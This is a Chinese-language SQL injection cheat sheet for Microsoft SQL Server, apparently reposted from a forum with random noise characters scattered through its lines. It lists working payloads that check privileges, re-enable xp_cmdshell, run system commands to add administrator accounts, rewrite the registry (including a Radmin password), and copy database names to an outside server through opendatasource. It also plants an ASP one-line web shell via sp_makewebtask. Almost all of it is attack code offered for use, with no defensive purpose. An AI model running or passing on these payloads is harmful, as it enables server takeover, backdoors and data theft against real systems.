阿D常用的一些注入命令
) H. x+ c3 c( O//看看是什么权限的4 w! {9 I# ` v$ A% z
and 1=(Select IS_MEMBER('db_owner'))( L$ z- N2 U2 p$ k; ]
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
% V8 G! }" b% Y) P2 g6 j, S* |) L. H* s9 W6 g
//检测是否有读取某数据库的权限3 s3 v" x; u: L; s* L7 \9 U
and 1= (Select HAS_DBACCESS('master'))
. K$ c4 a0 I. g! k$ n, J# I3 YAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
7 ~# }' l( L* U' \6 J1 s
, M H, p- y. U' y6 H) Y5 Q. J9 g# R3 K% m7 e2 w; g
数字类型4 O. _* i. p: Q* S! \3 M" Q
and char(124)%2Buser%2Bchar(124)=0
9 m% H3 D" W; D0 }1 R
1 g4 W. q+ J" c/ @- C5 _2 W字符类型
% p5 y: Y6 s' ]1 P' and char(124)%2Buser%2Bchar(124)=0 and ''='' o2 ?8 M) b! S; M* e+ y/ r
5 _, d T+ q6 v# j
搜索类型- \1 b5 ]5 W0 L
' and char(124)%2Buser%2Bchar(124)=0 and '%'='- S g, E7 W# p* I S$ T" G
/ s/ Q9 w% a0 }- k6 ]! Q
爆用户名, y0 @' M1 K/ ]
and user>0
" Q) `5 F1 ?1 K0 v; ?0 l' K$ F' and user>0 and ''='
G& E3 f2 w& ]; H/ Q/ G- n
( y$ b5 a( Y8 a* A: L9 F% E8 V" R检测是否为SA权限, ]- L* U) R" W4 K; t' h5 f
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
( A2 L* {: d) E- r \% V- JAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --# r9 c' N, J7 N! G. h6 ~& h; Y
, y: N u3 |) f检测是不是MSSQL数据库
. l, S5 ]/ U" zand exists (select * from sysobjects);--
0 R* f0 y; t# t l
$ U5 a* g' t+ _( W: ~ p检测是否支持多行
, O6 U4 n5 |4 `4 D# ~ w% r;declare @d int;-- " w* e: |: u2 n2 B% `
8 ^- r$ ~/ @% D* B
恢复 xp_cmdshell# t* Q( F$ o8 l+ _: _
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--% a9 |) I: e0 I6 ^6 p! g
; `: l$ }) P, G* j# R6 ] y8 b! G w/ `& O& s$ V5 i2 G
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
2 ~; d B: M7 F( E8 i. m, z% ^ J, L! k1 G, K6 W# A: H+ [
//-----------------------
^! @/ r, e; p# Q// 执行命令
( o; U, W' B! `* X* a) P1 x//-----------------------
/ z O9 w8 g& o8 Q首先开启沙盘模式:
# s3 g" }; g, q5 Y) ~; Lexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',18 m3 j. C2 h# S( P3 p5 }3 E
n% a/ X; h. i5 P) S然后利用jet.oledb执行系统命令8 G* D2 C! g# J
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
1 W$ f/ [/ g; s5 w0 \: K2 d- V* p. O/ B: u0 L, j! R9 F
执行命令: q8 R& ~5 a( S- {+ g
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';-- m" m8 f; x+ S4 {- n: ]- o k
' H9 ^6 _# M+ j% ~4 k0 HEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
" i1 K1 q$ H, i, C8 u) \6 }4 Z1 B( _+ B
判断xp_cmdshell扩展存储过程是否存在:- q* J/ r' x4 s& F+ g. I
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')9 g" n% _) {! e' p
: z# G) v' }8 {, h& [
写注册表$ p% e/ N+ z6 s% d; ]
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',16 S6 y+ K9 R! @; F6 x
. J1 N/ h6 M0 w" r& c1 ^
REG_SZ2 j; J- F& }; L4 u
) ]6 D, q% n' w+ c& S3 \% P4 e读注册表2 w2 w. {. N* l0 Z$ x
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
; f& t( `- `7 A4 U. K& \1 x& j# N) _* }( i' T1 ^( g2 n
读取目录内容8 G4 `2 K# n2 p9 }! y
exec master..xp_dirtree 'c:\winnt\system32\',1,1
( N* U/ ]( S" q% _8 o
8 e2 a$ j7 ~. z4 E! W, s8 `6 m+ X2 n0 V
数据库备份
1 i P3 D; E1 O& ? k& n) Y9 i. t3 cbackup database pubs to disk = 'c:\123.bak'
/ g. y) ]/ z4 Q/ ~; K4 H4 k, v" \
" x0 T: \; I& L' f6 c//爆出长度
7 E% N6 ^6 h$ }9 i: wAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--( @/ q/ I6 q: Z
- k4 K0 X* J+ }1 K6 m1 m6 ]( E: E: L ~$ Y( ]
& U+ Y6 n4 k6 B更改sa口令方法:用sql综合利用工具连接后,执行命令:
9 U! J- o! x9 U$ \: ]9 I4 cexec sp_password NULL,'新密码','sa'
. U3 R3 ]; I- V: D( o5 }; p7 P w3 U$ V' p2 X: R
添加和删除一个SA权限的用户test:; |/ y1 g) R1 Y/ [
exec master.dbo.sp_addlogin test,ptlove) a( l5 N8 Y4 ]3 i5 A, @1 U4 C
exec master.dbo.sp_addsrvrolemember test,sysadmin! B: _5 _0 C$ F+ U/ N
+ j0 t! _! j' S+ M9 }7 O
删除扩展存储过过程xp_cmdshell的语句:
$ N! p0 c- D9 v5 M; k" Z9 fexec sp_dropextendedproc 'xp_cmdshell') T& t0 p5 U7 ]
( B5 I/ z. F) P! K# h' N
添加扩展存储过过程
' h# }3 {( a$ SEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
$ w: o) f6 R) [" O/ rGRANT exec On xp_proxiedadata TO public
! t# o5 E2 k' A6 I$ k- o# Q
. N& q+ @& R. d: H2 P( w5 u* d( d. E! v
停掉或激活某个服务。
7 A( C" e! l1 L4 Z
4 X$ g8 P# j( T7 M4 i9 d5 oexec master..xp_servicecontrol 'stop','schedule'9 O. }: z" I+ G. k, b- v
exec master..xp_servicecontrol 'start','schedule'
4 \7 D/ Z) g) M
* ~( |; K6 t& r0 d; P6 u* P+ ?2 G9 Tdbo.xp_subdirs
$ O2 A; W1 k/ ~8 Q3 n: K
8 `; t* w$ m0 m* ?3 p v只列某个目录下的子目录。
9 ?( H7 o- X% o+ @2 Txp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
. P+ L. W; `5 D, J( s" i/ }/ Q: Y
dbo.xp_makecab0 L/ ~- a0 ]$ p/ S- |# L
: v r/ L% [6 S) B, ^% N% N- K将目标多个档案压缩到某个目标档案之内。# A9 B3 l/ ]# `2 Y6 j
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
3 ]- K. }/ t5 m2 d8 M; t
: F& r& D$ u$ R* g5 P; idbo.xp_makecab* n5 C" `* z& ?/ ^. b& C( _
'c:\test.cab','mszip',1,
8 t9 n1 L, ]6 G* ]& C8 Y: |'C:\Inetpub\wwwroot\SQLInject\login.asp',9 g' a# d' e3 g7 a1 F
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'- S7 ]8 X+ I/ b6 H9 f
/ |% ^) l5 r: ?& M7 S
xp_terminate_process* U }, v! z3 U
# S8 B; M* Z' d' M+ C
停掉某个执行中的程序,但赋予的参数是 Process ID。
" S, W3 e* B7 ^' j, v5 |利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
6 Q( |8 Y) U i( B, ?+ Y. |! g) D+ F% y! H3 ]" v
xp_terminate_process 2484
1 X/ p) y( [% b
/ c2 {) W; m/ _4 Xxp_unpackcab, ?' o" j% V f
9 d0 E; U3 m9 q7 r. R' a F解开压缩档。
) s+ E$ W9 O- g& t5 ]4 N& J7 i+ ^% J* S; M0 v
xp_unpackcab 'c:\test.cab','c:\temp',1
( A2 E2 s! C' w) }/ j5 [
8 r" p6 F! [2 d7 q2 {
" f2 g' j8 C& Q& p# C2 E/ c某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
. c4 N4 c4 ?( N% u: S) _6 w2 f) f0 L( \4 E0 g: `( }, i5 _6 A( a
create database lcx;! S0 ~4 v4 `0 F3 W" G2 X
Create TABLE ku(name nvarchar(256) null);
) X0 E( x) D$ wCreate TABLE biao(id int NULL,name nvarchar(256) null);2 ?8 P {6 U1 z4 @6 s) l9 E2 ~( X( J
- j. f7 e/ }( \' W3 o//得到数据库名3 E# [4 J& ?8 D9 J
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
* z2 f) e3 V* v1 _8 h5 v2 T; w
8 Y3 D v8 C$ t! q
//在Master中创建表,看看权限怎样. M. P# S& y) D4 h" j0 ]/ W, W9 W
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
4 D) ?4 q' P1 ?( s( O" f7 L4 ~' t+ v" T: I! l4 A' }0 D% h
用 sp_makewebtask直接在web目录里写入一句话马:. E& R" P% ]% Q6 g1 z4 n( J: W
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
4 v& z& M7 z' L# D
K- q+ V- v$ _; t, m//更新表内容
- v& Q( L3 A. s# xUpdate films SET kind = 'Dramatic' Where id = 123
{ q8 ?8 A% k7 w7 m
/ W" X' N. ~) Q) V- Q8 `4 v/ k4 H2 I//删除内容/ U7 a+ I* ]. t
delete from table_name where Stockid = 3 |